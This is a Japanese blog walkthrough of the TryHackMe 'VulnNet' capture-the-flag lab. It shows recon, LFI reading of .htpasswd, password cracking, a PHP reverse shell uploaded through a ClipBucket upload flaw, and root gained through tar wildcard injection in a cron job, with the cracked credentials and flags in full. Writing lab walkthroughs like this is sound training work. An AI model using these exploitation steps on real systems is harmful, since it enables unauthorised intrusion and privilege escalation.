0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】VulnNet:Walkthrough

0
Posted at

概要

TryHackMe「VulnNet」のWalkthroughです。

Task1

Q1.What is the user flag? (user.txt)

ポートスキャンを実行します。

$ nmap -Pn -T4 -sCV -p- 10.48.136.16 -oN nmap_result

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
|   256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_  256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: VulnNet
|_http-server-header: Apache/2.4.29 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
80 http Apache/2.4.29

80番ポートにアクセスすると、Webサイトが表示されました。

image.png

サブドメインを列挙します。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.vulnnet.thm" -u http://vulnnet.thm -fs 5829

broadcast               [Status: 401, Size: 468, Words: 42, Lines: 15, Duration: 135ms]

broadcast.vulnnet.thmにアクセスすると、Basic認証を求められました。

image.png

vulnnet.thmにディレクトリスキャンをします。

$ dirsearch -u http://vulnnet.thm/

[17:54:19] 301 -  308B  - /css  ->  http://vulnnet.thm/css/                 
[17:54:25] 301 -  310B  - /fonts  ->  http://vulnnet.thm/fonts/             
[17:54:29] 301 -  308B  - /img  ->  http://vulnnet.thm/img/                 
[17:54:31] 200 -  505B  - /js/                                              
[17:54:33] 200 -  607B  - /LICENSE.txt                                      
[17:54:33] 200 -  911B  - /login.html

/js/index__d8338055.jsを確認すると、/index.php?referer=のURLが分かりました。

image.png

LFIが出来そうです。
vulnnet.thm/index.php?referer=/etc/passwdへアクセスすると、攻撃に成功しファイルの内容を読み取れました。

image.png

/etc/apache2/sites-enabled/000-default.confを確認し、Basic認証ファイルを探します。
/etc/apache2/.htpasswdに認証情報があると分かりました。

AuthUserFile /etc/apache2/.htpasswd

image.png

/etc/apache2/.htpasswdを確認すると、ユーザ名とパスワードハッシュが分かりました。

image.png

ハッシュ値をパスワードクラッカーで解析出来ました。

$ john --wordlist=/usr/share/wordlists/rockyou.txt basic_hash.txt

9972761drmfsls   (?)

Basic認証を突破し、clipbucketのページに遷移出来ました。

image.png

ClipBucket version 4.0を使用していると、ソースコードから判明しました。

image.png

該当バージョンの脆弱性を検索すると、以下の脆弱性を発見しました。

photo_uploader.phpを利用したファイルアップロードの脆弱性を悪用し、リバースシェルペイロードをアップします。

$ curl -F "file=@php-reverse-shell.php" -F "plupload=1" -F "name=php-reverse-shell.php" http://broadcast.vulnnet.thm/actions/photo_uploader.php -u developers:9972761drmfsls
{"success":"yes","file_name":"1779020682b1706f","extension":"php","file_directory":"2026\/05\/17"}

アップロードしたファイルは/files/photos/<年月日>/にあります。

image.png

リバースシェルファイルを実行し、リバースシェルを張れました。

$ nc -lvnp 1234 
listening on [any] 1234 ...
connect to [192.168.183.253] from (UNKNOWN) [10.48.158.209] 37908
Linux vulnnet 4.15.0-134-generic #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 14:25:44 up 3 min,  0 users,  load average: 0.08, 0.13, 0.06
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

TTYの設定をします。

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

/avr/backupsフォルダを確認すると、sshのバックアップファイルを発見しました。

www-data@vulnnet:/var/backups$ ls -la

-rw-rw-r--  1 server-management server-management    1484 Jan 24  2021 ssh-backup.tar.gz

ファイルを解凍するとsshの秘密鍵ファイルを得られましたが、パスワードがかかっています。
ss2johnで秘密鍵のパスワードを解析します。

$ ssh2john id_rsa > id_hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_hash.txt
oneTWO3gOyac     (id_rsa)

SSH接続に成功しました。

$ ssh -i ./id_rsa server-management@vulnnet.thm
server-management@vulnnet:~$ id
uid=1000(server-management) gid=1000(server-management) groups=1000(server-management)

ユーザーフラグを入手できました。

server-management@vulnnet:~$ cat user.txt 
THM{907e420d979d8e2992f3d7e16bee1e8b}

A.THM{907e420d979d8e2992f3d7e16bee1e8b}

Q2.What is the root flag? (root.txt)

定期実行されるプログラムを発見しました。

server-management@vulnnet:/tmp$ cat /etc/crontab

*/2   * * * *   root    /var/opt/backupsrv.sh

プログラムを確認すると、バックアップを取得する処理があります。

/var/opt/backupsrv.sh
#!/bin/bash

# Where to backup to.
dest="/var/backups"

# What to backup. 
cd /home/server-management/Documents
backup_files="*"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

# Long listing of files in $dest to check file sizes.
ls -lh $dest

tarコマンド実行部分に注目すると、ワイルドカードが使用されています。

backup_files="*"

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

tarコマンドでのワイルドカードインジェクションが出来ます。

/Documents配下にroot権限で実行するシェルプログラムを作成します。

shell.sh
#/bin/bash
chmod u+s /bin/bash

必要なファイルをいくつか作成します。

server-management@vulnnet:~/Documents$ touch -- "--checkpoint=1"
server-management@vulnnet:~/Documents$ touch -- "--checkpoint-action=exec=sh shell.sh"
server-management@vulnnet:~/Documents$ ls -la
total 84
drwxr-xr-x  2 server-management server-management  4096 May 17 15:03  .
drwxrw---- 18 server-management server-management  4096 Jan 24  2021  ..
-rw-rw-r--  1 server-management server-management     0 May 17 15:03 '--checkpoint=1'
-rw-rw-r--  1 server-management server-management     0 May 17 15:03 '--checkpoint-action=exec=sh shell.sh'
-rw-r-----  1 server-management server-management 35144 Jan 23  2021 'Daily Job Progress Report Format.pdf'
-rw-r-----  1 server-management server-management 33612 Jan 23  2021 'Employee Search Progress Report.pdf'
-rwxrwxrwx  1 server-management server-management    31 May 17 15:03  shell.sh

少し時間を置くと、bashにSUIDが設定されました。

server-management@vulnnet:~/Documents$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash

root権限を取得できました。

server-management@vulnnet:~/Documents$ /bin/bash -p
bash-4.4# id
uid=1000(server-management) gid=1000(server-management) euid=0(root) groups=1000(server-management)

ルートフラグを入手できました。

bash-4.4# cat root.txt 
THM{220b671dd8adc301b34c2738ee8295ba}

A.THM{220b671dd8adc301b34c2738ee8295ba}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?